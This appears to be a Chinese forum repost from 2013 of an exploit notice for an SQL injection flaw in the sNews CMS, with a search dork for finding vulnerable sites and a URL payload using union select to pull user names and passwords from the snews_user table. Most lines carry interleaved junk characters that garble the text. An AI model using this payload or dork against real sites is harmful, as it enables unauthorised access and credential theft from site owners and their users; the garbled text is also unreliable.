标题: CMS snews SQL Injection Vulnerability
# c0 D9 Z G# _ h+ G9 D |6 p作者: By onestree
: m) h. i0 [5 m/ K* Y5 e: n下载地址 : http://snewscms.com/
5 }$ S, ~2 D" W; z: N" p" _. V测试平台 : ubuntu 12.10 / win 7
1 j4 [: I) _' Q. k; k* F: v8 N0 h关键词: inurl:"tanyakan pada rumput yang bergoyang"' p2 S5 p. a/ `1 ]
* \* C6 }% R$ l) I% _" n0 `: f
6 p- ^! N: ^$ V6 k7 O) ^
*************************************************************: t9 Y( g5 i3 ]; q) H5 J5 e
7 E0 V4 h' b& z# ~8 v/ BSQL poc:
8 g: i( ^3 L& T7 S7 P9 E
; c t) h/ ^. j6 s; j& X+ }http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
/ X7 A7 t% A x7 B2 D @/ \ ' Y. q1 l2 }* W9 B& e
示例& N. c" `$ ?+ c- O, h6 g
1 A: G" I# _3 x- o% W
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*! g b+ [5 d! o( A a4 H- h
" }- Z# _$ Y3 Y( w7 V ' H( {% F3 S# T8 I$ _
致谢:
" R: N: O7 V0 v7 ^& m7 z+ K
, s5 O: O' \: t3 _9 o5 H9 w Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
% u7 c( S0 r% A8 u, m 8 F/ Z1 \; u$ B# C: U# j2 L
indonesiancoder - moeslimh4x0r - go-coder' u# T7 W: g' F7 W2 G
$ R' v& v! O3 D8 |4 A' O/ h; rspesial my hunny :*
; `% i, o- S, ]# { |
发表于 2013-1-23 08:55:06
收藏
支持
反对